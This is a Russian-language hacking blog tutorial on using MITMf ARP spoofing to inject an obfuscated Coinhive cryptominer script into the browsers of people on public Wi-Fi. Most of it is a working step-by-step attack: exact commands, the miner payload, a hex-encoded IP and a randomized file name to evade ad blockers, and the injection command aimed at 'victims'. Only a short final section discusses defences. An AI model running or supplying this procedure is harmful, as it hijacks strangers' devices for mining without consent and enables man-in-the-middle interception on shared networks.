19 апреля, 2024

Внедрение майнеров Coinhive в точки доступа публичных Wi-Fi

Содержание:

Coinhive — мини-криптовалютный майнер, написанный на JavaScript, был обнаружен на веб-сайте смартфонов  BlackBerry Mobile. Он был внедрен туда хакерами, которые воспользовались уязвимостью в программном обеспечении сайта, что позволило им анонимно майнить криптовалюту при каждом просмотре веб-сайта. Несомненно, что Coinhive — это совершенно инновационный метод майнинга, применяемый хакерами в естественных условиях.

Как работает Coinhive и как его эксплуатировали

Coinhive представляет собой обычный криптовалютный майнер, который администраторы или операторы веб-сайтов могут встраивать в свои сайты. Когда пользователи заходят на сайты, на которых размещен майнер Coinhive, JavaScript запускает этот майнер непосредственно в браузере пользователя в фоновом режиме. Для майнинга будет использоваться процессор компьютера пользователя.

Этот инструмент был разработан в качестве альтернативного метода получения дохода администраторами веб-сайтов. Его основная идея заключалась в том, чтобы избавиться от уродливых рекламных баннеров, занимающих место на сайте, показ которых пользователи все равно блокируют с помощью различных блокировщиков рекламы (adblock). Вместо Биткоина (BTC) или других популярных криптовалют, Coinhive майнит Monero (XMR) , который на момент написания этой статьи стоит примерно в 35 раз меньше, чем Биткоин, но все равно находится в первой десятке самых дорогих криптовалют (по цене за монету).

Coinhive сама по себе является вполне законопослушной компанией, но последние события показали, насколько легко их технология майнинга с помощью JavaScript может быть использована хакерами, которые хотят быстро получить пару криптобаксов.

Случай с BlackBerry на самом деле — всего лишь один из многих случаев, когда хакеры или интернет-провайдеры использовали технологию Coinhive в своих корыстных и вредных целях. В октябре TrendMicro обнаружил несколько приложений в Google Play Store, которые использовали технологию майнинга Coinhive для того, чтобы втайне от пользователя майнить криптовалюту. Были также сообщения о Coinhive-майнерах,встроенных в веб-сайт Starbuck, его там разместил сам интернет-провайдер.

Как может быть эксплуатирована уязвимость в Coinhive

На GitHub’е есть несколько проектов, например CoffeeMiner, предназначенных для совершения атак типа «человек-по-середине» (MitM) для внедрения майнеров Coinhive в веб-браузеры, подключенные к публичным точкам доступа Wi-Fi. Однако, судя по нашему опыту с атаками MitM, считаем, что было бы гораздо проще использовать такой инструмент, как Man-in-the-Middle Framework (MITMf), для достижения тех же результатов с помощью всего лишь одной команды. MITMf — это отличный инструмент, созданный для того, чтобы сделать атаки MitM настолько простыми, насколько это вообще возможно.

В нашей статье мы будем использовать MITMf для внедрения JavaScript-кода Coinhive-майнера в чужие браузеры, находящиеся в той же сети Wi-Fi. Это позволит нам вставлять JavaScript-майнеры в веб-страницы, на которых находятся ничего не подозревающие посетители кафе, когда они серфят по Интернету.

Прежде чем мы начнем, стоит заметить, что Coinhive забанит любой аккаунт, если будет обнаружено, что владелец этого аккаунта использует JavaScript-майнер любым несанкционированным способом, например, с помощью взлома . Поэтому мы рекомендуем использовать эту статью исключительно в образовательных целях.

Шаг 1. Установка MITMf

Мы будем устанавливать MITMf в Kali Linux с помощью apt-get. Просто введите в терминале эту команду. Если вы захотите установить MITMf из исходников, то у нас на сайте есть отличное руководство или же посмотрите инструкцию по компиляции  GitHub.

sudo apt-get install mitmf

Вот и все, что касается установки MitMF. После установки нет необходимости его как-то настраивать, поэтому давайте сразу перейдем к созданию учетной записи на Coinhive.

Шаг 2. Создание учетной записи на Coinhive

Теперь, когда мы установили MitMF, перейдите на страницу регистрации Coinhive, и создайте учетную запись. У них нет каких-то специальных требований для регистрации аккаунта — каждый может зарегистрироваться в течение нескольких секунд.

Процесс регистрации очень быстрый и простой. После регистрации проверьте вашу электронную почту — вам должно прийти письмо для подтверждения регистрации. После подтверждения зайдите в вашу учетную запись. Нужно будет найти уникальный ключ для сайта, который является уникальным, и который должен быть использован для каждого веб-сайта, где работают JavaScript-майнеры. Однако мы не будем использовать Coinhive обычным способом, поэтому нам понадобится только один ключ сайта.

Читать также:  Основы Linux для хакеров, Часть 3 (Управление каталогами и файлами)

Чтобы найти ключ для сайта, перейдите на страницу«Sites & API Keys». Ключ сайта, который мы будем использовать, находится справа от метки «Site Key (public)». Обязательно скопируйте его куда-нибудь.

Любой, кто использует блокировщики рекламы, вроде uBlock Origin, увидит, что страница Coinhive выглядит сломанной и искаженной. UBlock Origin — это один из самых популярных блокировщиков рекламы и в настоящее время он занес домен coinhive.com в свой черный список. Это, несомненно, результат деятельности хакеров, злоупотребляющих технологией Coinhive. Если вы используете uBlock Origin, то просто отключите его.

Проблемы с блокировщиками рекламы вроде этой указывают на то, что нам нужно предпринять определенные дополнительные шаги, чтобы убедится, что блокировщики рекламы не блокируют запуск Coinhive-майнеров в браузерах-жертвах. Большинство блокировщиков будут отфильтровывать доменные имена, например, coinhive.com, о которых сообщают, что они содержат вредоносный код. Обфускация доменного имени и имени JavaScript-файла также будет важна для успешного проведения этой атаки.

Шаг 3. Обход блокировщиков рекламы

Первым делом перейдите на страницу документации Coinhive , где мы получим лучшее представление о том JavaScript-коде, который будем внедрять в браузеры жертв. Ниже представлен JavaScript-майнер в его простейшей форме.

<script src = " https://coinhive.com/lib/coinhive.min.js "> </ script> 
<script> 
var miner = new CoinHive.Anonymous ('YOUR-SITE-KEY-HERE'); 
miner.start (); 
</script>

Первая строка скрипта («script src») дает указание браузерам жертв загрузить .js-файл с веб-сайта Coinhive. Строка «var miner» говорит Coinhive, какой именно аккаунт майнит Monero, а строка «miner.start» говорит браузерам-жертвам немедленно начать майнинг. Для того чтобы обойти блокировщиков рекламы, нам нужно сосредоточиться на обфускации домена coinhive.com и имени .js-файла.

Просто имейте в виду, что даже использование шагов 4 и 5 нашей статьи может не привести к обходу всех блокировщиков рекламы. Майнер работает таким образом, что он должен сообщать на сервер о том, что выполнил свою часть работы (Proof-of-Work), иначе такой майнинг не имеет никакого смысла. Поскольку в исходном коде прямо указан Coinhive-сервер для осуществления таких запросов, то те блокировщики рекламы, которые осуществляют блокировку на уровне DNS, могут по-прежнему блокировать запросы с «доказательством работы» на сервер, мешая начислению криптовалюты для конкретной учетной записи. Однако тех блокировщиков, которые осуществляют блокировку только на уровне HTML-тегов, почти всегда можно избежать.

Шаг 4. Изменение JavaScript-файла

Для начала создадим временную директорию на нашем устройстве, чтобы локально сохранить JavaScript-файл от Coinhive. Используя команду mkdir, создайте в директории /tmp поддиректорию coinhive-js. Затем перейдите в новый каталог coinhive-js, используя команду cd.

mkdir /tmp/coinhive-js
 cd /tmp/coinhive-js

Когда это будет сделано, скачайте JavaScript-файл с сайта Coinhive . Именно его мы будем внедрять в браузер жертвы. В Unix-подобных системах мы можем использовать wget прямо из терминала.

wget https://coinhive.com/lib/coinhive.min.js

Теперь переименуем файл для последующего обхода работы блокировщиков рекламы. Использование рэндомной строки, которая вряд ли будет найдена в базе данных блокировщиков, отличная идея для такого рода атак. Для генерации случайных строк мы можем легко воспользоваться командой OpenSSL. В терминале введите:

openssl rand -hex 16

Число 16 говорит OpenSSL сгенерировать 16 случайных символов. Если вы хотите сгенерировать более длинную строку, просто увеличьте значение на ваш вкус. Затем мы можем переименовать имя файла «coinhive.min.js» с помощью команды mv:

mv coinhive.min.js ваша_рэндомная_строка.js

В этом демонстрационном примере мы не будем заморачиваться генерацией действительно случайного имени. Просто наугад понажимать буквы и цифры на клавиатуре будет достаточно.

Наконец, нам нужно разместить файл JavaScript так, чтобы браузеры-жертвы в нашей сети Wi-Fi смогли его скачать. Для этого мы будем использовать простую команду на python3.

python3 -m http.server 80

Http.server — это модуль HTTP-сервера Python3, который мы запустим с параметром -m. Число 80 — это номер порта, который будет прослушиваться HTTP-сервером. Мы можем проверить, что наш сервер Python3 запущен и работает, перейдя на адрес  «http://127.0.0.1:80/»http://127.0.0.1:80 в нашем браузере. 127.0.0.1 является локальным адресом нашего компьютера. Этот адрес обычно используется для размещения сервисов (например, HTTP-серверов) на наших компьютерах.

Читать также:  Не попадись! Как защитить свой жесткий диск от правоохранительных органов

Шаг 5. Обфускация URL-адреса

Теперь, когда у нас есть готовый к работе JavaScript-файл, давайте поговорим про обфускацию URL с помощью шестнадцатеричного кодирования. Мы легко можем обойти фильтры блокировщиков рекламы путем кодирования нашего локального IP-адреса. Например, переход по адресу  «http://0xC0A80001/»http://0xC0A80001 в вашем браузере приведет вас к адресу http://192.168.0.1. Наши браузеры могут понимать и интерпретировать шестнадцатеричные строки, как если бы они были обычным текстом.

Существуют онлайн-инструменты для преобразования IP-адресов в шестнадцатеричные строки, и это самый простой способ сделать такие вещи. Сначала найдите свой IP-адрес с помощью команды ifconfig.

ifconfig wlan0

Ваш локальный IP-адрес, скорее всего, будет похож на 192.168.0.2 или 192.168.1.10. Когда вы это выясните, введите ваш IP-адрес в соответствующее поле веб-сайта, осуществляющего такую шестнадцатеричную конвертацию (  «https://www.miniwebtool.com/ip-address-to-hex-converter/» https://www.miniwebtool.com/ip-address-to-hex-converter/), и получите его шестнадцатеричное представление.

Теперь давайте соберем все вместе! Здесь снова используется JavaScript от Coinhive, но уже с шестнадцатеричным IP-адресом и обфускацией имени файла:

<script src="https://0x0A989811/ghfldghfsdhglfsdhgfd.js "></script>
<script>
var miner = new CoinHive.Anonymous('YOUR-SITE-KEY-HERE');
miner.start();
</script>

Локально сохраним эти 5 строк кода в файл, так как нам нужно будет внедрить его в браузеры-жертвы, используя MITMf. Вы можете использовать свой любимый текстовый редактор для сохранения JavaScript или введите следующую команду в терминале:

nano /tmp/coinhive-js/miner.js

Мы сохраним его в каталог coinhive-js, который создали ранее как miner.js. Нажмите Ctrl + X на клавиатуре, чтобы выйти из nano, затем нажмите Y и Enter, чтобы сохранить файл.

Шаг 6. Внедрение майнера в браузеры

​​MITMf у нас уже установлен, аккаунт на Coinhive зарегистрирован, полезная нагрузка в виде обфусцированного JavaScript-файла также имеется. Теперь давайте посмотрим, как это все можно реально использовать.

Чтобы использовать MitMF, выполните в консоли следующую команду:

mitmf -i wlan0 --inject --js-file /tmp/coinhive-js/miner.js --arp --spoof --gateway 192.168.0.1

-i говорит MITMf, какой сетевой интерфейс мы атакуем, а wlan0 — это по умолчанию в Kali Linux беспроводной (Wi-Fi) интерфейс. Адрес шлюза 192.168.0.1 — это локальный IP-адрес Wi-Fi-маршрутизатора. 192.168.0.1 — это наиболее часто используемый адрес шлюза. Чтобы найти локальный IP-адрес вашего маршрутизатора, можете попробовать запустить в терминале команду route -n. В столбце «Gateway» вы должны увидеть что-то вроде «192.168.X.X.»

Как только мы запустим атаку MitM, во все устройства, подключенные к нашей сети Wi-Fi, будет внедрен наш JavaScript-код в те страницы сайтов, на которых находятся пользователи на момент совершения атаки. Мы узнаем, что браузеры-жертвы подверглись нашей MitM-атаке, когда терминал MITMf сообщит «Injected JS file: example.com».

Мы можем четко видеть, что кто-то использует браузер Google Chrome в операционной системе Windows, находится на сайте stackoverflow.com, а также нашу полезную нагрузку в виде JavaScript, внедренную в его браузер. Его браузер сразу начнет майнить Monero и будет делать это до тех пор, пока вкладка браузера со stackoverflow.com не будет закрыта.

Если мы внимательно изучим браузер жертвы, то мы можем увидеть, что наша полезная нагрузка в виде JavaScript-кода от Coinhive была полностью внедрена в нижнюю часть открытой им web-страницы stackoverflow.com без его ведома.

Вы также можете заметить, что мы установили три наиболее популярных блокировщика рекламы Интернет-магазина Chrome. И ни один из них не интерпретировал такую активность как вредоносную или злонамеренную.

Читать также:  Metasploit для начинающего хакера — Armitage ( Часть 4)

После того, как JavaScript-майнер добавится в браузер жертвы, вы можете вообще выключить MITMf, чтобы остановить атаку. Coinhive JavaScript-код все равно продолжит майнинг в веб-браузере жертвы. Если жертва покинет кофейню, а вкладка браузера будет открыта, то Coinhive JavaScript-код продолжит работу в следующий раз, когда он снова подключится к этой сети Wi-Fi. Coinhive-майнер будет работать до тех пор, пока жертва не закроет зараженную вкладку браузера или до тех пор, пока пользователь не закроет веб-браузер полностью.

Как защитить себя от JavaScript-майнеров

Стало ясно, что блокировщики рекламы — это не самый эффективный метод борьбы с JavaScript-майнерами. Используя некоторые вполне обычные способы, майнеры криптовалют все еще могут попасть в ваш веб-браузер.

Лучший способ избежать использования вредоносного кода JavaScript в вашем браузере — полностью отключить JavaScript. Включайте и используйте JavaScript только тогда, когда это абсолютно необходимо. NoScript часто рекомендуется специалистами по безопасности и в настоящее время является наиболее удобным способом быстрого включения JavaScript по мере необходимости.
У браузера Opera также есть функция NoCoin, которая блокирует скрипты для майнинга криптовалют на веб-страницах. Поэтому это очень интересный вариант браузера, если вам не нравится Chrome, Safari, Edge и т.д. Однако есть некоторые расширения браузера, которые делают что-то похожее.
Если вы не хотите блокировать JavaScript, то можете чаще проверять загрузку вашего процессора, чтобы увидеть, есть ли подозрительные всплески нагрузки на него, которые могут указывать на майнинг, проходящий в фоновом режиме. На компьютере с Windows вы можете использовать «Диспетчер задач», а на компьютерах Mac это будет «Монитор активности».
Также можно просто проверить адресную строку браузера. Если вы находитесь на сайте, у которого в верхнем левом углу имеется замочек с HTTPS, то, скорее всего, вы не подвергаетесь атаке MitM. Многие веб-сайты добавляются в HSTS-списки предварительной загрузки браузеров, что означает, что даже если атака MitM попытается перехватить HSTS-заголовки и перенаправить запрос на HTTP вместо HTTPS, браузер не будет это делать, поскольку знает, что он должен осуществлять связь только для доменов, использующих HTTPS. Таким образом, описанные выше хаки с Coinhive-майнером на таких сайтах работать больше не будут. Вы можете проверить, находится ли сайт в HSTS-списке предварительной загрузки браузера, введя имя корневого домена в онлайн-инструмент.
Еще одна мера, которую вы можете предпринять для самозащиты от MitM-атак при использовании публичных сетей, заключается в использовании виртуальной частной сети (VPN). При использовании VPN не будет блокировать скрипт майнера обслуживающийся на сервере, он будет обходить MitM-атаку на конкретной точке доступа.
Если вы используете блокировщик рекламы, то обязательно используйте тот, который работает на DNS-уровне, а не только на уровне HTML-тегов. Хотя это не обязательно помешает вашему компьютеру стать майнером, но, по крайней мере, это не позволит хакерам получить с этого хоть какое-нибудь вознаграждение.

Насколько выгоден JavaScript-майнинг

Читатели, которым интересно, насколько выгоден Coinhive-майнинг, могут найти статью Максэнса Корнета (Maxence Cornet) на Medium. Максэнс несколько раз пытался использовать Coinhive на своем веб-сайте с целью заменить традиционные рекламные баннеры на JavaScript-майнер от Coinhive. Он говорит, что с 1000 посещений веб-сайта в день:

«Я сделал 0.00947 XMR за 60 часов, колоссальные $ 0,89, это $ 0,36 в день»

Не самые впечатляющие результаты, но, без сомнения, майнинг криптовалют с помощью Coinhive стал очень популярным среди хакеров, поскольку этим способом очень легко воспользоваться. Это может быть не очень выгодно при использовании на небольших сайтах, но представьте себе Coinhive-майнер, работающий на каждой странице соцсети или Google. А ведь это может произойти.

Если у вас есть какие-либо вопросы или сомнения — не стесняйтесь, оставляйте ваши комментарии.

Добавить комментарий